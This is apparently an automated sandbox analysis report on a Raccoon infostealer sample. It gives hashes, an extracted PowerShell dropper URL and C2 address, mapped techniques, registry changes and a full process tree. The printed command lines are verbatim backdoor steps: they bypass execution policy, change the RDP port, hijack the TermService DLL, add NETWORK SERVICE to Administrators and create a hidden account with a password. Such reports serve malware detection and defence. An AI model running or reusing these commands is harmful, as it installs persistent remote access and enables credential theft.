raccoon | 989a76309e98914e5e73acd337113893430700e42838627c250fb8de76869937

Analysis

max time kernel
75s
max time network
118s
platform
windows10_x64
resource
win10v20210410
submitted
02-06-2021 13:52

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General

Target

c0b4d836349117b0b91a769ad991724c.exe
Size

568KB
MD5

c0b4d836349117b0b91a769ad991724c
SHA1

cb6ddfd01e6dd7b94572463535d44fb48cfa3b70
SHA256

989a76309e98914e5e73acd337113893430700e42838627c250fb8de76869937
SHA512

4d246abadaa9db5c7bf0f742c73a69d4992b01aebcc64b3681cd3ec4ddfd327bf0825425fed4af8c27df91f19d140ba59a0442f6c129dd5179405b3fb8a64d77

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
22	2252	powershell.exe
24	2252	powershell.exe
25	2252	powershell.exe
26	2252	powershell.exe
28	2252	powershell.exe
30	2252	powershell.exe
32	2252	powershell.exe
34	2252	powershell.exe
36	2252	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2160	HaoMzVnCT4.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000000068b-236.dat	upx
behavioral2/files/0x000a000000000695-237.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
2016	c0b4d836349117b0b91a769ad991724c.exe
2016	c0b4d836349117b0b91a769ad991724c.exe
2016	c0b4d836349117b0b91a769ad991724c.exe
2016	c0b4d836349117b0b91a769ad991724c.exe
2016	c0b4d836349117b0b91a769ad991724c.exe
2016	c0b4d836349117b0b91a769ad991724c.exe
3152	Process not Found
3152	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_awelcksq.nwb.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_lm1rwy2h.yao.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID45F.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID41E.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID460.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID470.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID43F.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
572	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3392	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	26	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1264	powershell.exe
1264	powershell.exe
1264	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
184	powershell.exe
184	powershell.exe
184	powershell.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
1264	powershell.exe
1264	powershell.exe
1264	powershell.exe
2252	powershell.exe
2252	powershell.exe
2252	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeIncreaseQuotaPrivilege	2212	powershell.exe
Token: SeSecurityPrivilege	2212	powershell.exe
Token: SeTakeOwnershipPrivilege	2212	powershell.exe
Token: SeLoadDriverPrivilege	2212	powershell.exe
Token: SeSystemProfilePrivilege	2212	powershell.exe
Token: SeSystemtimePrivilege	2212	powershell.exe
Token: SeProfSingleProcessPrivilege	2212	powershell.exe
Token: SeIncBasePriorityPrivilege	2212	powershell.exe
Token: SeCreatePagefilePrivilege	2212	powershell.exe
Token: SeBackupPrivilege	2212	powershell.exe
Token: SeRestorePrivilege	2212	powershell.exe
Token: SeShutdownPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeSystemEnvironmentPrivilege	2212	powershell.exe
Token: SeRemoteShutdownPrivilege	2212	powershell.exe
Token: SeUndockPrivilege	2212	powershell.exe
Token: SeManageVolumePrivilege	2212	powershell.exe
Token: 33	2212	powershell.exe
Token: 34	2212	powershell.exe
Token: 35	2212	powershell.exe
Token: 36	2212	powershell.exe
Token: SeDebugPrivilege	184	powershell.exe
Token: SeIncreaseQuotaPrivilege	184	powershell.exe
Token: SeSecurityPrivilege	184	powershell.exe
Token: SeTakeOwnershipPrivilege	184	powershell.exe
Token: SeLoadDriverPrivilege	184	powershell.exe
Token: SeSystemProfilePrivilege	184	powershell.exe
Token: SeSystemtimePrivilege	184	powershell.exe
Token: SeProfSingleProcessPrivilege	184	powershell.exe
Token: SeIncBasePriorityPrivilege	184	powershell.exe
Token: SeCreatePagefilePrivilege	184	powershell.exe
Token: SeBackupPrivilege	184	powershell.exe
Token: SeRestorePrivilege	184	powershell.exe
Token: SeShutdownPrivilege	184	powershell.exe
Token: SeDebugPrivilege	184	powershell.exe
Token: SeSystemEnvironmentPrivilege	184	powershell.exe
Token: SeRemoteShutdownPrivilege	184	powershell.exe
Token: SeUndockPrivilege	184	powershell.exe
Token: SeManageVolumePrivilege	184	powershell.exe
Token: 33	184	powershell.exe
Token: 34	184	powershell.exe
Token: 35	184	powershell.exe
Token: 36	184	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeIncreaseQuotaPrivilege	3832	powershell.exe
Token: SeSecurityPrivilege	3832	powershell.exe
Token: SeTakeOwnershipPrivilege	3832	powershell.exe
Token: SeLoadDriverPrivilege	3832	powershell.exe
Token: SeSystemProfilePrivilege	3832	powershell.exe
Token: SeSystemtimePrivilege	3832	powershell.exe
Token: SeProfSingleProcessPrivilege	3832	powershell.exe
Token: SeIncBasePriorityPrivilege	3832	powershell.exe
Token: SeCreatePagefilePrivilege	3832	powershell.exe
Token: SeBackupPrivilege	3832	powershell.exe
Token: SeRestorePrivilege	3832	powershell.exe
Token: SeShutdownPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeSystemEnvironmentPrivilege	3832	powershell.exe
Token: SeRemoteShutdownPrivilege	3832	powershell.exe
Token: SeUndockPrivilege	3832	powershell.exe
Token: SeManageVolumePrivilege	3832	powershell.exe
Token: 33	3832	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 2160	2016	c0b4d836349117b0b91a769ad991724c.exe	79
PID 2016 wrote to memory of 2160	2016	c0b4d836349117b0b91a769ad991724c.exe	79
PID 2016 wrote to memory of 3332	2016	c0b4d836349117b0b91a769ad991724c.exe	80
PID 2016 wrote to memory of 3332	2016	c0b4d836349117b0b91a769ad991724c.exe	80
PID 2016 wrote to memory of 3332	2016	c0b4d836349117b0b91a769ad991724c.exe	80
PID 3332 wrote to memory of 572	3332	cmd.exe	82
PID 3332 wrote to memory of 572	3332	cmd.exe	82
PID 3332 wrote to memory of 572	3332	cmd.exe	82
PID 2160 wrote to memory of 1264	2160	HaoMzVnCT4.exe	83
PID 2160 wrote to memory of 1264	2160	HaoMzVnCT4.exe	83
PID 1264 wrote to memory of 3956	1264	powershell.exe	85
PID 1264 wrote to memory of 3956	1264	powershell.exe	85
PID 3956 wrote to memory of 3472	3956	csc.exe	86
PID 3956 wrote to memory of 3472	3956	csc.exe	86
PID 1264 wrote to memory of 2212	1264	powershell.exe	87
PID 1264 wrote to memory of 2212	1264	powershell.exe	87
PID 1264 wrote to memory of 184	1264	powershell.exe	90
PID 1264 wrote to memory of 184	1264	powershell.exe	90
PID 1264 wrote to memory of 3832	1264	powershell.exe	92
PID 1264 wrote to memory of 3832	1264	powershell.exe	92
PID 1264 wrote to memory of 984	1264	powershell.exe	95
PID 1264 wrote to memory of 984	1264	powershell.exe	95
PID 1264 wrote to memory of 3392	1264	powershell.exe	96
PID 1264 wrote to memory of 3392	1264	powershell.exe	96
PID 1264 wrote to memory of 3356	1264	powershell.exe	97
PID 1264 wrote to memory of 3356	1264	powershell.exe	97
PID 1264 wrote to memory of 3292	1264	powershell.exe	98
PID 1264 wrote to memory of 3292	1264	powershell.exe	98
PID 3292 wrote to memory of 2212	3292	net.exe	99
PID 3292 wrote to memory of 2212	3292	net.exe	99
PID 1264 wrote to memory of 2280	1264	powershell.exe	100
PID 1264 wrote to memory of 2280	1264	powershell.exe	100
PID 2280 wrote to memory of 2184	2280	cmd.exe	101
PID 2280 wrote to memory of 2184	2280	cmd.exe	101
PID 2184 wrote to memory of 3956	2184	cmd.exe	103
PID 2184 wrote to memory of 3956	2184	cmd.exe	103
PID 3956 wrote to memory of 4048	3956	net.exe	102
PID 3956 wrote to memory of 4048	3956	net.exe	102
PID 1264 wrote to memory of 3884	1264	powershell.exe	104
PID 1264 wrote to memory of 3884	1264	powershell.exe	104
PID 3884 wrote to memory of 2364	3884	cmd.exe	105
PID 3884 wrote to memory of 2364	3884	cmd.exe	105
PID 2364 wrote to memory of 2292	2364	cmd.exe	106
PID 2364 wrote to memory of 2292	2364	cmd.exe	106
PID 2292 wrote to memory of 3948	2292	net.exe	107
PID 2292 wrote to memory of 3948	2292	net.exe	107
PID 3532 wrote to memory of 3680	3532	cmd.exe	111
PID 3532 wrote to memory of 3680	3532	cmd.exe	111
PID 3680 wrote to memory of 1260	3680	net.exe	112
PID 3680 wrote to memory of 1260	3680	net.exe	112
PID 3832 wrote to memory of 2768	3832	cmd.exe	115
PID 3832 wrote to memory of 2768	3832	cmd.exe	115
PID 2768 wrote to memory of 1276	2768	net.exe	116
PID 2768 wrote to memory of 1276	2768	net.exe	116
PID 3356 wrote to memory of 3908	3356	cmd.exe	119
PID 3356 wrote to memory of 3908	3356	cmd.exe	119
PID 3908 wrote to memory of 2296	3908	net.exe	120
PID 3908 wrote to memory of 2296	3908	net.exe	120
PID 1304 wrote to memory of 572	1304	cmd.exe	123
PID 1304 wrote to memory of 572	1304	cmd.exe	123
PID 572 wrote to memory of 2760	572	net.exe	124
PID 572 wrote to memory of 2760	572	net.exe	124
PID 3012 wrote to memory of 3532	3012	cmd.exe	127
PID 3012 wrote to memory of 3532	3012	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe
"C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Local\Temp\HaoMzVnCT4.exe
  "C:\Users\Admin\AppData\Local\Temp\HaoMzVnCT4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1264
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5cgevvv4\5cgevvv4.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3956
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D9D.tmp" "c:\Users\Admin\AppData\Local\Temp\5cgevvv4\CSC23DF8C72C67B499D8034E2E639AAEEC.TMP"
        5⤵
        
        PID:3472
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        5⤵
        
        PID:4048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3832
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:984
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3392
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:3356
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:2212
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2280
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2184
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3956
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3884
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2364
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2292
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3948
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:2272
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:572

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1260

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc gwizJ61r /add
1⤵
